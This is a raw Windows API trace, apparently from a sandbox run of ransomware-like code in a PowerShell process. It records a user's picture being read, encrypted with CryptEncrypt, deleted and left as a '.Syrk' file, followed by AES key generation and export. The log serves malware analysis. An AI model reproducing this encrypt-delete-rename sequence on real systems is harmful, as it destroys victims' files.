[0246.564] EtwEventActivityIdControl () returned 0x0 [0246.566] EtwEventActivityIdControl () returned 0x0 [0246.566] ReadFile (in: hFile=0x3c4, lpBuffer=0x24d6094, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24d6094*, lpNumberOfBytesRead=0x5a2e7d8*=0x1391b, lpOverlapped=0x0) returned 1 [0246.569] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ea0ac*, pdwDataLen=0x5a2e7cc*=0x13910, dwBufLen=0x13910 | out: pbData=0x24ea0ac*, pdwDataLen=0x5a2e7cc*=0x13910) returned 1 [0246.570] WriteFile (in: hFile=0x454, lpBuffer=0x24d2208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24d2208*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0246.572] WriteFile (in: hFile=0x454, lpBuffer=0x24eb098*, nNumberOfBytesToWrite=0x12924, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24eb098*, lpNumberOfBytesWritten=0x5a2e7b0*=0x12924, lpOverlapped=0x0) returned 1 [0246.575] ReadFile (in: hFile=0x3c4, lpBuffer=0x24d6094, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24d6094*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0246.575] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24fd9c8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24fd9c8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0246.575] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24fd9e4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24fd9e4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0246.575] WriteFile (in: hFile=0x454, lpBuffer=0x24d2208*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24d2208*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0246.576] CloseHandle (hObject=0x454) returned 1 [0246.578] CloseHandle (hObject=0x3c4) returned 1 [0246.578] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.642] EtwEventActivityIdControl () returned 0x0 [0246.642] EtwEventActivityIdControl () returned 0x0 [0246.642] EtwEventActivityIdControl () returned 0x0 [0246.648] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 0x20 [0246.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.652] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.652] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.652] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0246.652] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0246.652] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.653] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.653] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0246.653] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0246.653] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.653] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0246.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0246.654] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.654] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0246.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0246.654] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 0x20 [0246.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0246.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.659] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0246.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0246.659] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0246.659] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0246.659] CoTaskMemFree (pv=0x5c98368) [0246.662] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 0x20 [0246.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0246.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png"), fInfoLevelId=0x0, lpFileInformation=0x2509674 | out: lpFileInformation=0x2509674*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b68b980, ftCreationTime.dwHighDateTime=0x1d993fb, ftLastAccessTime.dwLowDateTime=0x6b6cbaf0, ftLastAccessTime.dwHighDateTime=0x1d99d2c, ftLastWriteTime.dwLowDateTime=0x6b6cbaf0, ftLastWriteTime.dwHighDateTime=0x1d99d2c, nFileSizeHigh=0x0, nFileSizeLow=0x1391b)) returned 1 [0246.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0246.662] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 1 [0246.666] EtwEventActivityIdControl () returned 0x0 [0246.667] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.667] EtwEventActivityIdControl () returned 0x0 [0246.667] EtwEventActivityIdControl () returned 0x0 [0246.667] EtwEventActivityIdControl () returned 0x0 [0246.676] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png.syrk")) returned 0x20 [0246.677] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png.syrk")) returned 0x20 [0246.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0246.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", lpFilePart=0x0) returned 0x39 [0246.678] EtwEventActivityIdControl () returned 0x0 [0246.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.679] EtwEventActivityIdControl () returned 0x0 [0246.679] EtwEventActivityIdControl () returned 0x0 [0246.679] EtwEventActivityIdControl () returned 0x0 [0246.684] EtwEventActivityIdControl () returned 0x0 [0246.684] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.685] EtwEventActivityIdControl () returned 0x0 [0246.685] EtwEventActivityIdControl () returned 0x0 [0246.685] EtwEventActivityIdControl () returned 0x0 [0246.693] EtwEventActivityIdControl () returned 0x0 [0246.693] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.694] EtwEventActivityIdControl () returned 0x0 [0246.694] EtwEventActivityIdControl () returned 0x0 [0246.694] EtwEventActivityIdControl () returned 0x0 [0246.698] EtwEventActivityIdControl () returned 0x0 [0246.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.699] EtwEventActivityIdControl () returned 0x0 [0246.699] EtwEventActivityIdControl () returned 0x0 [0246.699] EtwEventActivityIdControl () returned 0x0 [0246.706] EtwEventActivityIdControl () returned 0x0 [0246.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.706] EtwEventActivityIdControl () returned 0x0 [0246.706] EtwEventActivityIdControl () returned 0x0 [0246.706] EtwEventActivityIdControl () returned 0x0 [0246.711] EtwEventActivityIdControl () returned 0x0 [0246.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0246.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2513874 | out: lpFileInformation=0x2513874*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaacf30, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xeaacf30, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xead3090, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x13934)) returned 1 [0246.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0246.718] GetConsoleOutputCP () returned 0x1b5 [0246.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.718] GetConsoleOutputCP () returned 0x1b5 [0246.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.719] GetConsoleOutputCP () returned 0x1b5 [0246.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.719] GetConsoleOutputCP () returned 0x1b5 [0246.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.719] GetConsoleOutputCP () returned 0x1b5 [0246.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.720] GetConsoleOutputCP () returned 0x1b5 [0246.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.720] GetConsoleOutputCP () returned 0x1b5 [0246.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.720] GetConsoleOutputCP () returned 0x1b5 [0246.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.721] GetConsoleOutputCP () returned 0x1b5 [0246.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.721] GetConsoleOutputCP () returned 0x1b5 [0246.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.721] GetConsoleOutputCP () returned 0x1b5 [0246.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.721] GetConsoleOutputCP () returned 0x1b5 [0246.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.722] GetConsoleOutputCP () returned 0x1b5 [0246.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.722] GetConsoleOutputCP () returned 0x1b5 [0246.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.722] GetConsoleOutputCP () returned 0x1b5 [0246.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.723] GetConsoleOutputCP () returned 0x1b5 [0246.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.723] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0246.723] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.724] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x252d50c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x252d50c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0246.724] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.725] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0246.726] EtwEventActivityIdControl () returned 0x0 [0246.726] EtwEventActivityIdControl () returned 0x0 [0246.726] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.727] EtwEventActivityIdControl () returned 0x0 [0246.727] EtwEventActivityIdControl () returned 0x0 [0246.727] EtwEventActivityIdControl () returned 0x0 [0246.730] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.730] EtwEventActivityIdControl () returned 0x0 [0246.730] EtwEventActivityIdControl () returned 0x0 [0246.730] EtwEventActivityIdControl () returned 0x0 [0246.733] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0246.735] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a60) returned 1 [0246.735] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.736] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.736] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2534ee4, pdwDataLen=0x5a2e8c4 | out: pbData=0x2534ee4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.737] EtwEventActivityIdControl () returned 0x0 [0246.737] EtwEventActivityIdControl () returned 0x0 [0246.737] EtwEventActivityIdControl () returned 0x0 [0246.738] SysStringLen (param_1="") returned 0x8 [0246.738] SysStringLen (param_1="8") returned 0x8 [0246.738] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.738] SysStringLen (param_1="㮳ፀ똿⃍诒蔿ⶻ") returned 0x8 [0246.738] SysStringLen (param_1="㮳ፀ똿⃍诒蔿ⶻ") returned 0x8 [0246.738] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.738] SysStringLen (param_1="8h") returned 0x8 [0246.738] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.738] SysStringLen (param_1="嚊ीࡣ퐂蕺ᔷ꥾\⋝) returned 0x8 [0246.738] SysStringLen (param_1="嚊ीࡣ퐂蕺ᔷ꥾\⋝) returned 0x8 [0246.739] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.739] SysStringLen (param_1="8h1") returned 0x8 [0246.739] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.739] SysStringLen (param_1="孰뱅꒶냯릓鏰퍌蛪") returned 0x8 [0246.739] SysStringLen (param_1="孰뱅꒶냯릓鏰퍌蛪") returned 0x8 [0246.739] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.739] SysStringLen (param_1="8h15") returned 0x8 [0246.739] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.739] SysStringLen (param_1="ᙋ⹉ꅭ㉉邦롖ꅎ⧖") returned 0x8 [0246.739] SysStringLen (param_1="ᙋ⹉ꅭ㉉邦롖ꅎ⧖") returned 0x8 [0246.739] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.740] SysStringLen (param_1="8h154") returned 0x8 [0246.740] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.740] SysStringLen (param_1="꫑蔰ʜ据웣砇") returned 0x8 [0246.740] SysStringLen (param_1="꫑蔰ʜ据웣砇") returned 0x8 [0246.740] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.740] SysStringLen (param_1="8h154b") returned 0x8 [0246.740] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.740] SysStringLen (param_1="␎䔁꼓⽕풁窂㚔") returned 0x8 [0246.740] SysStringLen (param_1="␎䔁꼓⽕풁窂㚔") returned 0x8 [0246.740] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.741] SysStringLen (param_1="8h154bW") returned 0x8 [0246.741] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.741] SysStringLen (param_1="犰괮훫ਲ਼Ѱ蟸虝嗪") returned 0x8 [0246.741] SysStringLen (param_1="犰괮훫ਲ਼Ѱ蟸虝嗪") returned 0x8 [0246.741] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.741] SysStringLen (param_1="8h154bWr") returned 0x8 [0246.741] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.741] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴") returned 0x8 [0246.742] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴") returned 0x8 [0246.742] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴") returned 0x8 [0246.742] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴") returned 0x10 [0246.742] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.743] SysStringLen (param_1="8h154bWr2뺶∨ⷧ吱ᔏ贏") returned 0x10 [0246.743] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.743] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴开于㉘憕ᓎ϶") returned 0x10 [0246.743] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴开于㉘憕ᓎ϶") returned 0x10 [0246.743] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.743] SysStringLen (param_1="8h154bWr2S∨ⷧ吱ᔏ贏") returned 0x10 [0246.743] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.743] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴诵璀큂ၺ허댫主") returned 0x10 [0246.743] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴诵璀큂ၺ허댫主") returned 0x10 [0246.743] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.744] SysStringLen (param_1="8h154bWr2S+ⷧ吱ᔏ贏") returned 0x10 [0246.744] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.744] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴\꧛圫ᑊ晫汨謴窖√) returned 0x10 [0246.744] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴\꧛圫ᑊ晫汨謴窖√) returned 0x10 [0246.744] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.744] SysStringLen (param_1="8h154bWr2S+S吱ᔏ贏") returned 0x10 [0246.744] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 